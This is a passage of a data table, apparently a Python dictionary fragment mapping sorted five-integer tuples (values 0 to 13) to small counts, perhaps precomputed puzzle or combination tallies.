(0, 4, 6, 8, 9): 4,
(0, 4, 6, 8, 10): 5,
(0, 4, 6, 8, 11): 3,
(0, 4, 6, 8, 12): 3,
(0, 4, 6, 8, 13): 1,
(0, 4, 6, 9, 9): 3,
(0, 4, 6, 9, 10): 2,
(0, 4, 6, 9, 11): 2,
(0, 4, 6, 9, 12): 8,
(0, 4, 6, 9, 13): 2,
(0, 4, 6, 10, 11): 2,
(0, 4, 6, 10, 12): 5,
(0, 4, 6, 10, 13): 3,
(0, 4, 6, 11, 11): 1,
(0, 4, 6, 11, 12): 5,
(0, 4, 6, 11, 13): 1,
(0, 4, 6, 12, 12): 3,
(0, 4, 6, 12, 13): 2,
(0, 4, 7, 7, 7): 3,
(0, 4, 7, 7, 8): 1,
(0, 4, 7, 7, 9): 2,
(0, 4, 7, 7, 10): 1,
(0, 4, 7, 7, 11): 2,
(0, 4, 7, 7, 12): 1,
(0, 4, 7, 7, 13): 1,
(0, 4, 7, 8, 8): 1,
(0, 4, 7, 8, 10): 4,
(0, 4, 7, 8, 12): 1,
(0, 4, 7, 9, 10): 2,
(0, 4, 7, 9, 11): 3,
(0, 4, 7, 9, 12): 1,
(0, 4, 7, 9, 13): 1,
(0, 4, 7, 10, 10): 2,
(0, 4, 7, 10, 11): 1,
(0, 4, 7, 10, 12): 3,
(0, 4, 7, 10, 13): 2,
(0, 4, 7, 11, 13): 3,
(0, 4, 7, 12, 12): 1,
(0, 4, 7, 12, 13): 1,
(0, 4, 8, 8, 10): 2,
(0, 4, 8, 8, 11): 1,
(0, 4, 8, 8, 13): 1,
(0, 4, 8, 9, 10): 2,
(0, 4, 8, 9, 12): 3,
(0, 4, 8, 10, 10): 2,
(0, 4, 8, 10, 11): 4,
(0, 4, 8, 10, 12): 1,
(0, 4, 8, 10, 13): 3,
(0, 4, 8, 12, 12): 1,
(0, 4, 9, 10, 11): 1,
(0, 4, 9, 10, 12): 3,
(0, 4, 9, 10, 13): 1,
(0, 4, 9, 11, 11): 1,
(0, 4, 9, 11, 12): 1,
(0, 4, 9, 11, 13): 1,
(0, 4, 10, 10, 12): 1,
(0, 4, 10, 10, 13): 2,
(0, 4, 10, 11, 12): 1,
(0, 4, 10, 11, 13): 2,
(0, 4, 10, 12, 12): 1,
(0, 4, 10, 12, 13): 1,
(0, 4, 10, 13, 13): 1,
(0, 4, 11, 11, 13): 1,
(0, 4, 12, 12, 13): 1,
(0, 4, 12, 13, 13): 1,
(0, 5, 5, 5, 7): 1,
(0, 5, 5, 5, 8): 1,
(0, 5, 5, 5, 12): 1,
(0, 5, 5, 6, 6): 1,
(0, 5, 5, 6, 7): 2,
(0, 5, 5, 6, 8): 1,
(0, 5, 5, 6, 10): 1,
(0, 5, 5, 6, 11): 1,
(0, 5, 5, 6, 12): 2,
(0, 5, 5, 6, 13): 1,
(0, 5, 5, 7, 7): 2,
(0, 5, 5, 7, 8): 1,
(0, 5, 5, 7, 10): 1,
(0, 5, 5, 7, 11): 1,
(0, 5, 5, 7, 12): 2,
(0, 5, 5, 8, 9): 3,
(0, 5, 5, 8, 10): 2,
(0, 5, 5, 8, 11): 1,
(0, 5, 5, 10, 13): 1,
(0, 5, 5, 11, 12): 2,
(0, 5, 5, 11, 13): 1,
(0, 5, 5, 12, 13): 1,
(0, 5, 6, 6, 6): 3,
(0, 5, 6, 6, 7): 2,
(0, 5, 6, 6, 8): 2,
(0, 5, 6, 6, 11): 2,
(0, 5, 6, 6, 12): 2,
(0, 5, 6, 6, 13): 2,
(0, 5, 6, 7, 7): 3,
(0, 5, 6, 7, 8): 1,
(0, 5, 6, 7, 9): 3,
(0, 5, 6, 7, 10): 1,
(0, 5, 6, 7, 11): 3,
(0, 5, 6, 7, 12): 4,
(0, 5, 6, 7, 13): 3,
(0, 5, 6, 8, 8): 2,
(0, 5, 6, 8, 9): 1,
(0, 5, 6, 8, 10): 2,
(0, 5, 6, 8, 11): 2,
(0, 5, 6, 8, 12): 4,
(0, 5, 6, 9, 9): 3,
(0, 5, 6, 9, 10): 3,
(0, 5, 6, 9, 11): 1,
(0, 5, 6, 9, 12): 5,
(0, 5, 6, 10, 12): 4,
(0, 5, 6, 10, 13): 1,
(0, 5, 6, 11, 12): 2,
(0, 5, 6, 11, 13): 3,
(0, 5, 6, 12, 12): 5,
(0, 5, 6, 12, 13): 2,
(0, 5, 7, 7, 7): 2,
(0, 5, 7, 7, 8): 3,
(0, 5, 7, 7, 9): 1,
(0, 5, 7, 7, 10): 2,
(0, 5, 7, 7, 11): 2,
(0, 5, 7, 7, 12): 4,
(0, 5, 7, 7, 13): 2,
(0, 5, 7, 8, 8): 1,
(0, 5, 7, 8, 9): 3,
(0, 5, 7, 8, 10): 2,
(0, 5, 7, 8, 11): 1,
(0, 5, 7, 8, 13): 1,
(0, 5, 7, 9, 9): 1,
(0, 5, 7, 9, 10): 3,
(0, 5, 7, 9, 11): 1,
(0, 5, 7, 9, 12): 1,
(0, 5, 7, 10, 10): 1,
(0, 5, 7, 10, 11): 3,
(0, 5, 7, 10, 12): 1,
(0, 5, 7, 11, 11): 2,
(0, 5, 7, 11, 12): 3,
(0, 5, 7, 11, 13): 2,
(0, 5, 7, 12, 12): 1,
(0, 5, 7, 12, 13): 3,
(0, 5, 7, 13, 13): 1,
(0, 5, 8, 8, 10): 2,
(0, 5, 8, 9, 10): 2,
(0, 5, 8, 9, 11): 4,
(0, 5, 8, 10, 10): 2,
(0, 5, 8, 10, 11): 1,
(0, 5, 8, 10, 12): 4,
(0, 5, 8, 10, 13): 2,
(0, 5, 8, 11, 13): 2,
(0, 5, 8, 12, 12): 1,
(0, 5, 9, 9, 12): 3,
(0, 5, 9, 10, 12): 1,
(0, 5, 9, 10, 13): 3,
(0, 5, 9, 11, 12): 1,
(0, 5, 9, 11, 13): 1,
(0, 5, 10, 10, 11): 1,
(0, 5, 10, 11, 13): 2,
(0, 5, 10, 13, 13): 1,
(0, 5, 11, 11, 13): 1,
(0, 5, 11, 12, 13): 2,
(0, 5, 11, 13, 13): 2,
(0, 5, 12, 12, 13): 1,
(0, 6, 6, 6, 6): 1,
(0, 6, 6, 6, 7): 2,
(0, 6, 6, 6, 8): 2,
(0, 6, 6, 6, 9): 2,
(0, 6, 6, 6, 10): 1,
(0, 6, 6, 6, 11): 1,
(0, 6, 6, 6, 12): 3,
(0, 6, 6, 6, 13): 2,
(0, 6, 6, 7, 7): 3,
(0, 6, 6, 7, 8): 3,
(0, 6, 6, 7, 9): 1,
(0, 6, 6, 7, 10): 1,
(0, 6, 6, 7, 11): 1,
(0, 6, 6, 7, 12): 2,
(0, 6, 6, 7, 13): 4,
(0, 6, 6, 8, 8): 2,
(0, 6, 6, 8, 9): 4,
(0, 6, 6, 8, 10): 1,
(0, 6, 6, 8, 11): 1,
(0, 6, 6, 8, 12): 3,
(0, 6, 6, 8, 13): 2,
(0, 6, 6, 9, 9): 1,
(0, 6, 6, 9, 10): 2,
(0, 6, 6, 9, 12): 2,
(0, 6, 6, 9, 13): 1,
(0, 6, 6, 10, 10): 1,
(0, 6, 6, 10, 11): 1,
(0, 6, 6, 10, 12): 2,
(0, 6, 6, 10, 13): 1,
(0, 6, 6, 11, 11): 1,
(0, 6, 6, 11, 12): 2,
(0, 6, 6, 11, 13): 1,
(0, 6, 6, 12, 12): 1,
(0, 6, 6, 12, 13): 3,
(0, 6, 6, 13, 13): 2,
(0, 6, 7, 7, 7): 2,
(0, 6, 7, 7, 8): 2,
(0, 6, 7, 7, 9): 2,
(0, 6, 7, 7, 10): 1,
(0, 6, 7, 7, 11): 2,
(0, 6, 7, 7, 12): 2,
(0, 6, 7, 7, 13): 4,
(0, 6, 7, 8, 8): 2,
(0, 6, 7, 8, 9): 1,
(0, 6, 7, 8, 10): 2,
(0, 6, 7, 8, 11): 1,
(0, 6, 7, 8, 12): 4,
(0, 6, 7, 8, 13): 3,
(0, 6, 7, 9, 9): 1,
(0, 6, 7, 9, 10): 1,
(0, 6, 7, 9, 11): 2,
(0, 6, 7, 9, 12): 3,
(0, 6, 7, 9, 13): 1,
(0, 6, 7, 10, 10): 1,
(0, 6, 7, 10, 11): 2,
(0, 6, 7, 10, 12): 3,
(0, 6, 7, 10, 13): 1,
(0, 6, 7, 11, 11): 1,
(0, 6, 7, 11, 12): 3,
(0, 6, 7, 11, 13): 1,
(0, 6, 7, 12, 12): 3,
(0, 6, 7, 12, 13): 2,
(0, 6, 7, 13, 13): 2,
(0, 6, 8, 8, 8): 1,
(0, 6, 8, 8, 9): 1,
(0, 6, 8, 8, 11): 1,
(0, 6, 8, 8, 13): 1,
(0, 6, 8, 9, 9): 1,
(0, 6, 8, 9, 10): 2,
(0, 6, 8, 9, 12): 6,
(0, 6, 8, 10, 10): 3,
(0, 6, 8, 10, 11): 3,
(0, 6, 8, 10, 13): 1,
(0, 6, 8, 11, 11): 1,
(0, 6, 8, 11, 12): 2,
(0, 6, 8, 12, 12): 2,
(0, 6, 8, 12, 13): 3,
(0, 6, 8, 13, 13): 1,
(0, 6, 9, 9, 10): 1,
(0, 6, 9, 9, 11): 2,
(0, 6, 9, 9, 12): 1,
(0, 6, 9, 9, 13): 1,
(0, 6, 9, 10, 12): 3,
(0, 6, 9, 11, 12): 2,
(0, 6, 9, 11, 13): 1,
(0, 6, 9, 12, 12): 4,
(0, 6, 9, 12, 13): 2,
(0, 6, 10, 10, 13): 2,
(0, 6, 10, 11, 12): 1,
(0, 6, 10, 12, 13): 2,
(0, 6, 10, 13, 13): 1,
(0, 6, 11, 11, 13): 2,
(0, 6, 11, 12, 12): 1,
(0, 6, 11, 12, 13): 1,
(0, 6, 12, 12, 12): 1,
(0, 7, 7, 7, 7): 1,
(0, 7, 7, 7, 8): 3,
(0, 7, 7, 7, 9): 1,
(0, 7, 7, 7, 10): 2,
(0, 7, 7, 7, 11): 1,
(0, 7, 7, 7, 12): 2,
(0, 7, 7, 7, 13): 2,
(0, 7, 7, 8, 8): 1,
(0, 7, 7, 8, 9): 1,
(0, 7, 7, 8, 11): 1,
(0, 7, 7, 8, 13): 2,
(0, 7, 7, 9, 9): 1,
(0, 7, 7, 9, 10): 1,
(0, 7, 7, 9, 12): 2,
(0, 7, 7, 9, 13): 1,
(0, 7, 7, 10, 10): 1,
(0, 7, 7, 10, 11): 1,
(0, 7, 7, 10, 13): 2,
(0, 7, 7, 11, 11): 1,
(0, 7, 7, 11, 12): 1,
(0, 7, 7, 11, 13): 1,
(0, 7, 7, 12, 12): 1,
(0, 7, 7, 12, 13): 2,
(0, 7, 7, 13, 13): 2,
(0, 7, 8, 8, 10): 1,
(0, 7, 8, 9, 11): 1,
(0, 7, 8, 9, 12): 1,
(0, 7, 8, 9, 13): 2,
(0, 7, 8, 10, 11): 1,
(0, 7, 8, 10, 12): 3,
(0, 7, 8, 11, 13): 1,
(0, 7, 9, 9, 12): 3,
(0, 7, 9, 10, 11): 3,
(0, 7, 9, 10, 13): 1,
(0, 7, 9, 11, 12): 1,
(0, 7, 9, 12, 13): 1,
(0, 7, 9, 13, 13): 1,
(0, 7, 10, 10, 12): 1,
(0, 7, 10, 11, 13): 1,
(0, 7, 10, 12, 12): 1,
(0, 7, 10, 12, 13): 1,
(0, 7, 11, 11, 13): 1,
(0, 7, 11, 12, 12): 1,
(0, 7, 11, 12, 13): 2,
(0, 8, 8, 9, 13): 1,
(0, 8, 8, 10, 12): 2,
(0, 8, 8, 10, 13): 2,
(0, 8, 8, 11, 11): 1,
(0, 8, 8, 13, 13): 1,
(0, 8, 9, 10, 12): 1,
(0, 8, 9, 10, 13): 1,
(0, 8, 9, 11, 11): 1,
(0, 8, 9, 11, 13): 1,
(0, 8, 9, 12, 13): 1,
(0, 8, 10, 10, 11): 1,
(0, 8, 10, 11, 12): 1,
(0, 8, 10, 11, 13): 2,
(0, 8, 10, 12, 12): 1,
(0, 8, 10, 12, 13): 2,
(0, 8, 11, 11, 12): 1,
(0, 8, 11, 13, 13): 2,
(0, 9, 9, 11, 12): 2,
(0, 9, 9, 11, 13): 1,
(0, 9, 9, 12, 12): 1,
(0, 9, 10, 10, 13): 1,
(0, 9, 10, 11, 11): 1,
(0, 9, 10, 11, 12): 2,
(0, 9, 10, 11, 13): 1,
(0, 9, 10, 12, 12): 2,
(0, 9, 10, 13, 13): 1,
(0, 9, 11, 11, 11): 1,
(0, 9, 11, 12, 13): 1,
(0, 10, 10, 10, 12): 1,
(0, 10, 10, 11, 11): 1,
(0, 10, 10, 11, 12): 1,
(0, 10, 10, 12, 13): 1,
(0, 10, 11, 11, 13): 1,
(1, 1, 1, 1, 13): 1,
(1, 1, 1, 2, 7): 2,
(1, 1, 1, 2, 10): 2,
(1, 1, 1, 2, 11): 2,
(1, 1, 1, 2, 12): 2,
(1, 1, 1, 2, 13): 1,
(1, 1, 1, 3, 6): 2,
(1, 1, 1, 3, 7): 2,
(1, 1, 1, 3, 8): 1,
(1, 1, 1, 3, 10): 1,
(1, 1, 1, 3, 11): 3,
(1, 1, 1, 3, 12): 2,
(1, 1, 1, 3, 13): 3,
(1, 1, 1, 4, 5): 1,
(1, 1, 1, 4, 6): 3,
(1, 1, 1, 4, 7): 2,
(1, 1, 1, 4, 8): 2,
(1, 1, 1, 4, 9): 1,
(1, 1, 1, 4, 10): 4,
(1, 1, 1, 4, 11): 3,
(1, 1, 1, 4, 12): 3,
(1, 1, 1, 4, 13): 1,
(1, 1, 1, 5, 5): 1,
(1, 1, 1, 5, 6): 2,
(1, 1, 1, 5, 7): 3,
(1, 1, 1, 5, 8): 2,
(1, 1, 1, 5, 9): 4,
(1, 1, 1, 5, 10): 1,
(1, 1, 1, 5, 11): 1,
(1, 1, 1, 5, 12): 1,
(1, 1, 1, 5, 13): 1,
(1, 1, 1, 6, 6): 1,
(1, 1, 1, 6, 7): 3,
(1, 1, 1, 6, 8): 4,
(1, 1, 1, 6, 9): 1,
(1, 1, 1, 6, 10): 1,
(1, 1, 1, 6, 12): 3,
(1, 1, 1, 6, 13): 1,
(1, 1, 1, 7, 7): 2,
(1, 1, 1, 7, 8): 2,
(1, 1, 1, 7, 9): 2,
(1, 1, 1, 7, 10): 1,
(1, 1, 1, 7, 11): 1,
(1, 1, 1, 7, 12): 1,
(1, 1, 1, 7, 13): 2,
(1, 1, 1, 8, 8): 1,
(1, 1, 1, 8, 12): 2,
(1, 1, 1, 8, 13): 1,
(1, 1, 1, 9, 11): 2,
(1, 1, 1, 9, 12): 2,
(1, 1, 1, 9, 13): 1,
(1, 1, 1, 10, 10): 1,
(1, 1, 1, 10, 11): 1,
(1, 1, 1, 10, 12): 2,
(1, 1, 1, 11, 11): 1,
(1, 1, 2, 2, 6): 2,
(1, 1, 2, 2, 7): 4,
(1, 1, 2, 2, 8): 1,
(1, 1, 2, 2, 9): 1,
(1, 1, 2, 2, 10): 6,
(1, 1, 2, 2, 11): 7,
(1, 1, 2, 2, 12): 3,
(1, 1, 2, 2, 13): 4,
(1, 1, 2, 3, 5): 6,
(1, 1, 2, 3, 6): 8,
(1, 1, 2, 3, 7): 6,
(1, 1, 2, 3, 8): 6,
(1, 1, 2, 3, 9): 5,
(1, 1, 2, 3, 10): 8,
(1, 1, 2, 3, 11): 8,
(1, 1, 2, 3, 12): 11,
(1, 1, 2, 3, 13): 5,
(1, 1, 2, 4, 4): 1,
(1, 1, 2, 4, 5): 7,
(1, 1, 2, 4, 6): 6,
(1, 1, 2, 4, 7): 8,
(1, 1, 2, 4, 8): 5,
(1, 1, 2, 4, 9): 9,
(1, 1, 2, 4, 10): 5,
(1, 1, 2, 4, 11): 7,
(1, 1, 2, 4, 12): 8,
(1, 1, 2, 4, 13): 10,
(1, 1, 2, 5, 5): 2,
(1, 1, 2, 5, 6): 6,
(1, 1, 2, 5, 7): 5,
(1, 1, 2, 5, 8): 9,
(1, 1, 2, 5, 9): 6,
(1, 1, 2, 5, 10): 8,
(1, 1, 2, 5, 11): 6,
(1, 1, 2, 5, 12): 9,
(1, 1, 2, 5, 13): 5,
(1, 1, 2, 6, 6): 1,
(1, 1, 2, 6, 7): 6,
(1, 1, 2, 6, 8): 4,
(1, 1, 2, 6, 9): 9,
(1, 1, 2, 6, 10): 6,
(1, 1, 2, 6, 11): 7,
(1, 1, 2, 6, 12): 8,
(1, 1, 2, 6, 13): 7,
(1, 1, 2, 7, 7): 3,
(1, 1, 2, 7, 8): 8,
(1, 1, 2, 7, 9): 4,
(1, 1, 2, 7, 10): 6,
(1, 1, 2, 7, 11): 2,
(1, 1, 2, 7, 12): 7,
(1, 1, 2, 7, 13): 6,
(1, 1, 2, 8, 8): 1,
(1, 1, 2, 8, 9): 3,
(1, 1, 2, 8, 10): 5,
(1, 1, 2, 8, 11): 6,
(1, 1, 2, 8, 12): 5,
(1, 1, 2, 8, 13): 6,
(1, 1, 2, 9, 9): 1,
(1, 1, 2, 9, 10): 3,
(1, 1, 2, 9, 11): 6,
(1, 1, 2, 9, 12): 9,
(1, 1, 2, 9, 13): 5,
(1, 1, 2, 10, 10): 3,
(1, 1, 2, 10, 11): 6,
(1, 1, 2, 10, 12): 5,
(1, 1, 2, 10, 13): 5,
(1, 1, 2, 11, 11): 3,
(1, 1, 2, 11, 12): 5,
(1, 1, 2, 12, 13): 2,
(1, 1, 2, 13, 13): 1,
(1, 1, 3, 3, 4): 3,
(1, 1, 3, 3, 5): 3,
(1, 1, 3, 3, 6): 6,
(1, 1, 3, 3, 7): 3,
(1, 1, 3, 3, 8): 3,
(1, 1, 3, 3, 9): 3,
(1, 1, 3, 3, 10): 3,
(1, 1, 3, 3, 11): 3,
(1, 1, 3, 3, 12): 4,
(1, 1, 3, 3, 13): 2,
(1, 1, 3, 4, 4): 2,
(1, 1, 3, 4, 5): 5,
(1, 1, 3, 4, 6): 5,
(1, 1, 3, 4, 7): 7,
(1, 1, 3, 4, 8): 6,
(1, 1, 3, 4, 9): 9,
(1, 1, 3, 4, 10): 7,
(1, 1, 3, 4, 11): 6,
(1, 1, 3, 4, 12): 12,
(1, 1, 3, 4, 13): 4,
(1, 1, 3, 5, 5): 2,
(1, 1, 3, 5, 6): 3,
(1, 1, 3, 5, 7): 5,
(1, 1, 3, 5, 8): 5,
(1, 1, 3, 5, 9): 7,
(1, 1, 3, 5, 10): 6,
(1, 1, 3, 5, 11): 7,
(1, 1, 3, 5, 12): 6,
(1, 1, 3, 5, 13): 5,
(1, 1, 3, 6, 6): 4,
(1, 1, 3, 6, 7): 6,
(1, 1, 3, 6, 8): 9,
(1, 1, 3, 6, 9): 7,
(1, 1, 3, 6, 10): 8,
(1, 1, 3, 6, 11): 5,
(1, 1, 3, 6, 12): 10,
(1, 1, 3, 6, 13): 9,
(1, 1, 3, 7, 7): 3,
(1, 1, 3, 7, 8): 4,
(1, 1, 3, 7, 9): 8,
(1, 1, 3, 7, 10): 5,
(1, 1, 3, 7, 11): 7,
(1, 1, 3, 7, 12): 6,
(1, 1, 3, 7, 13): 5,
(1, 1, 3, 8, 8): 3,
(1, 1, 3, 8, 9): 4,
(1, 1, 3, 8, 10): 7,
(1, 1, 3, 8, 11): 4,
(1, 1, 3, 8, 12): 6,
(1, 1, 3, 8, 13): 2,
(1, 1, 3, 9, 9): 4,
(1, 1, 3, 9, 10): 6,
(1, 1, 3, 9, 11): 4,
(1, 1, 3, 9, 12): 7,
(1, 1, 3, 9, 13): 6,
(1, 1, 3, 10, 10): 3,
(1, 1, 3, 10, 11): 4,
(1, 1, 3, 10, 12): 8,
(1, 1, 3, 10, 13): 5,
(1, 1, 3, 11, 11): 3,
(1, 1, 3, 11, 12): 3,
(1, 1, 3, 11, 13): 4,
(1, 1, 3, 12, 12): 4,
(1, 1, 3, 12, 13): 4,
(1, 1, 3, 13, 13): 3,
(1, 1, 4, 4, 5): 3,
(1, 1, 4, 4, 6): 2,
(1, 1, 4, 4, 7): 4,
(1, 1, 4, 4, 8): 1,
(1, 1, 4, 4, 9): 3,
(1, 1, 4, 4, 10): 6,
(1, 1, 4, 4, 11): 5,
(1, 1, 4, 4, 12): 2,
(1, 1, 4, 4, 13): 4,
(1, 1, 4, 5, 5): 2,
(1, 1, 4, 5, 6): 3,
(1, 1, 4, 5, 7): 2,
(1, 1, 4, 5, 8): 8,
(1, 1, 4, 5, 9): 6,
(1, 1, 4, 5, 10): 8,
(1, 1, 4, 5, 11): 5,
(1, 1, 4, 5, 12): 8,
(1, 1, 4, 5, 13): 3,
(1, 1, 4, 6, 6): 4,
(1, 1, 4, 6, 7): 6,
(1, 1, 4, 6, 8): 5,
(1, 1, 4, 6, 9): 9,
(1, 1, 4, 6, 10): 7,
(1, 1, 4, 6, 11): 7,
(1, 1, 4, 6, 12): 5,
(1, 1, 4, 6, 13): 9,
(1, 1, 4, 7, 7): 4,
(1, 1, 4, 7, 8): 8,
(1, 1, 4, 7, 9): 4,
(1, 1, 4, 7, 10): 6,
(1, 1, 4, 7, 11): 4,
(1, 1, 4, 7, 12): 13,
(1, 1, 4, 7, 13): 3,
(1, 1, 4, 8, 8): 1,
(1, 1, 4, 8, 9): 6,
(1, 1, 4, 8, 10): 5,
(1, 1, 4, 8, 11): 9,
(1, 1, 4, 8, 12): 3,
(1, 1, 4, 8, 13): 8,
(1, 1, 4, 9, 9): 1,
(1, 1, 4, 9, 10): 5,
(1, 1, 4, 9, 11): 3,
(1, 1, 4, 9, 12): 8,
(1, 1, 4, 9, 13): 2,
(1, 1, 4, 10, 10): 2,
(1, 1, 4, 10, 11): 6,
(1, 1, 4, 10, 12): 4,
(1, 1, 4, 10, 13): 5,
(1, 1, 4, 11, 11): 1,
(1, 1, 4, 11, 12): 7,
(1, 1, 4, 11, 13): 3,
(1, 1, 4, 12, 12): 2,
(1, 1, 4, 12, 13): 6,
(1, 1, 4, 13, 13): 2,
(1, 1, 5, 5, 6): 2,
(1, 1, 5, 5, 7): 3,
(1, 1, 5, 5, 8): 4,
(1, 1, 5, 5, 9): 3,
(1, 1, 5, 5, 10): 1,
(1, 1, 5, 5, 11): 4,
(1, 1, 5, 5, 12): 3,
(1, 1, 5, 5, 13): 3,
(1, 1, 5, 6, 6): 5,
(1, 1, 5, 6, 7): 12,
(1, 1, 5, 6, 8): 7,
(1, 1, 5, 6, 9): 7,
(1, 1, 5, 6, 10): 6,
(1, 1, 5, 6, 11): 4,
(1, 1, 5, 6, 12): 10,
(1, 1, 5, 6, 13): 5,
(1, 1, 5, 7, 7): 6,
(1, 1, 5, 7, 8): 6,
(1, 1, 5, 7, 9): 6,
(1, 1, 5, 7, 10): 3,
(1, 1, 5, 7, 11): 5,
(1, 1, 5, 7, 12): 5,
(1, 1, 5, 7, 13): 8,
(1, 1, 5, 8, 8): 4,
(1, 1, 5, 8, 9): 2,
(1, 1, 5, 8, 10): 4,
(1, 1, 5, 8, 11): 3,
(1, 1, 5, 8, 12): 8,
(1, 1, 5, 8, 13): 1,
(1, 1, 5, 9, 9): 1,
(1, 1, 5, 9, 10): 3,
(1, 1, 5, 9, 11): 5,
(1, 1, 5, 9, 12): 2,
(1, 1, 5, 9, 13): 4,
(1, 1, 5, 10, 10): 1,
(1, 1, 5, 10, 11): 2,
(1, 1, 5, 10, 12): 6,
(1, 1, 5, 10, 13): 3,
(1, 1, 5, 11, 11): 1,
(1, 1, 5, 11, 12): 1,
(1, 1, 5, 11, 13): 3,
(1, 1, 5, 12, 12): 3,
(1, 1, 5, 12, 13): 3,
(1, 1, 5, 13, 13): 3,
(1, 1, 6, 6, 6): 1,
(1, 1, 6, 6, 7): 8,
(1, 1, 6, 6, 8): 5,
(1, 1, 6, 6, 9): 3,
(1, 1, 6, 6, 10): 2,
(1, 1, 6, 6, 11): 3,
(1, 1, 6, 6, 12): 7,
(1, 1, 6, 6, 13): 4,
(1, 1, 6, 7, 7): 8,
(1, 1, 6, 7, 8): 13,
(1, 1, 6, 7, 9): 6,
(1, 1, 6, 7, 10): 3,
(1, 1, 6, 7, 11): 4,
(1, 1, 6, 7, 12): 9,
(1, 1, 6, 7, 13): 8,
(1, 1, 6, 8, 8): 3,
(1, 1, 6, 8, 9): 3,
(1, 1, 6, 8, 10): 3,
(1, 1, 6, 8, 11): 6,
(1, 1, 6, 8, 12): 4,
(1, 1, 6, 8, 13): 8,
(1, 1, 6, 9, 9): 1,
(1, 1, 6, 9, 10): 4,
(1, 1, 6, 9, 11): 3,
(1, 1, 6, 9, 12): 6,
(1, 1, 6, 9, 13): 3,
(1, 1, 6, 10, 10): 2,
(1, 1, 6, 10, 11): 2,
(1, 1, 6, 10, 12): 4,
(1, 1, 6, 10, 13): 6,
(1, 1, 6, 11, 12): 3,
(1, 1, 6, 11, 13): 2,
(1, 1, 6, 12, 12): 3,
(1, 1, 6, 12, 13): 5,
(1, 1, 7, 7, 7): 2,
(1, 1, 7, 7, 8): 5,
(1, 1, 7, 7, 9): 2,
(1, 1, 7, 7, 10): 2,
(1, 1, 7, 7, 11): 2,
(1, 1, 7, 7, 12): 2,
(1, 1, 7, 7, 13): 4,
(1, 1, 7, 8, 8): 2,
(1, 1, 7, 8, 10): 4,
(1, 1, 7, 8, 11): 1,
(1, 1, 7, 8, 12): 7,
(1, 1, 7, 8, 13): 3,
(1, 1, 7, 9, 10): 1,
(1, 1, 7, 9, 11): 2,
(1, 1, 7, 9, 12): 5,
(1, 1, 7, 9, 13): 7,
(1, 1, 7, 10, 11): 3,
(1, 1, 7, 10, 12): 4,
(1, 1, 7, 10, 13): 3,
(1, 1, 7, 11, 11): 1,
(1, 1, 7, 11, 12): 2,
(1, 1, 7, 11, 13): 3,
(1, 1, 7, 12, 12): 2,
(1, 1, 7, 12, 13): 1,
(1, 1, 8, 8, 9): 1,
(1, 1, 8, 8, 10): 2,
(1, 1, 8, 8, 11): 1,
(1, 1, 8, 8, 13): 4,
(1, 1, 8, 9, 12): 4,
(1, 1, 8, 10, 10): 1,
(1, 1, 8, 10, 12): 3,
(1, 1, 8, 10, 13): 2,
(1, 1, 8, 11, 12): 3,
(1, 1, 8, 11, 13): 1,
(1, 1, 8, 12, 12): 2,
(1, 1, 8, 12, 13): 3,
(1, 1, 8, 13, 13): 1,
(1, 1, 9, 9, 12): 1,
(1, 1, 9, 10, 13): 2,
(1, 1, 9, 11, 11): 1,
(1, 1, 9, 11, 12): 1,
(1, 1, 9, 11, 13): 4,
(1, 1, 9, 12, 12): 3,
(1, 1, 9, 12, 13): 2,
(1, 1, 9, 13, 13): 1,
(1, 1, 10, 10, 11): 1,
(1, 1, 10, 10, 12): 1,
(1, 1, 10, 11, 11): 1,
(1, 1, 10, 11, 13): 1,
(1, 1, 10, 12, 13): 4,
(1, 1, 10, 13, 13): 2,
(1, 1, 11, 13, 13): 1,
(1, 2, 2, 2, 5): 3,
(1, 2, 2, 2, 6): 6,
(1, 2, 2, 2, 7): 4,
(1, 2, 2, 2, 8): 5,
(1, 2, 2, 2, 9): 4,
(1, 2, 2, 2, 10): 6,
(1, 2, 2, 2, 11): 4,
(1, 2, 2, 2, 12): 8,
(1, 2, 2, 2, 13): 2,
(1, 2, 2, 3, 3): 1,
(1, 2, 2, 3, 4): 7,
(1, 2, 2, 3, 5): 6,
(1, 2, 2, 3, 6): 9,
(1, 2, 2, 3, 7): 12,
(1, 2, 2, 3, 8): 12,
(1, 2, 2, 3, 9): 13,
(1, 2, 2, 3, 10): 10,
(1, 2, 2, 3, 11): 12,
(1, 2, 2, 3, 12): 13,
(1, 2, 2, 3, 13): 13,
(1, 2, 2, 4, 4): 4,
(1, 2, 2, 4, 5): 7,
(1, 2, 2, 4, 6): 12,
(1, 2, 2, 4, 7): 11,
(1, 2, 2, 4, 8): 10,
(1, 2, 2, 4, 9): 12,
(1, 2, 2, 4, 10): 16,
(1, 2, 2, 4, 11): 11,
(1, 2, 2, 4, 12): 19,
(1, 2, 2, 4, 13): 7,
(1, 2, 2, 5, 5): 4,
(1, 2, 2, 5, 6): 11,
(1, 2, 2, 5, 7): 8,
(1, 2, 2, 5, 8): 11,
(1, 2, 2, 5, 9): 12,
(1, 2, 2, 5, 10): 7,
(1, 2, 2, 5, 11): 9,
(1, 2, 2, 5, 12): 13,
(1, 2, 2, 5, 13): 8,
(1, 2, 2, 6, 6): 6,
(1, 2, 2, 6, 7): 7,
(1, 2, 2, 6, 8): 14,
(1, 2, 2, 6, 9): 9,
(1, 2, 2, 6, 10): 19,
(1, 2, 2, 6, 11): 12,
(1, 2, 2, 6, 12): 17,
(1, 2, 2, 6, 13): 11,
(1, 2, 2, 7, 7): 8,
(1, 2, 2, 7, 8): 9,
(1, 2, 2, 7, 9): 14,
(1, 2, 2, 7, 10): 9,
(1, 2, 2, 7, 11): 10,
(1, 2, 2, 7, 12): 11,
(1, 2, 2, 7, 13): 9,
(1, 2, 2, 8, 8): 6,
(1, 2, 2, 8, 9): 8,
(1, 2, 2, 8, 10): 14,
(1, 2, 2, 8, 11): 9,
(1, 2, 2, 8, 12): 12,
(1, 2, 2, 8, 13): 6,
(1, 2, 2, 9, 9): 5,
(1, 2, 2, 9, 10): 9,
(1, 2, 2, 9, 11): 6,
(1, 2, 2, 9, 12): 7,
(1, 2, 2, 9, 13): 7,
(1, 2, 2, 10, 10): 5,
(1, 2, 2, 10, 11): 4,
(1, 2, 2, 10, 12): 12,
(1, 2, 2, 10, 13): 6,
(1, 2, 2, 11, 11): 5,
(1, 2, 2, 11, 12): 6,
(1, 2, 2, 11, 13): 7,
(1, 2, 2, 12, 12): 6,
(1, 2, 2, 12, 13): 8,
(1, 2, 2, 13, 13): 4,
(1, 2, 3, 3, 3): 4,
(1, 2, 3, 3, 4): 9,
(1, 2, 3, 3, 5): 13,
(1, 2, 3, 3, 6): 11,
(1, 2, 3, 3, 7): 10,
(1, 2, 3, 3, 8): 13,
(1, 2, 3, 3, 9): 19,
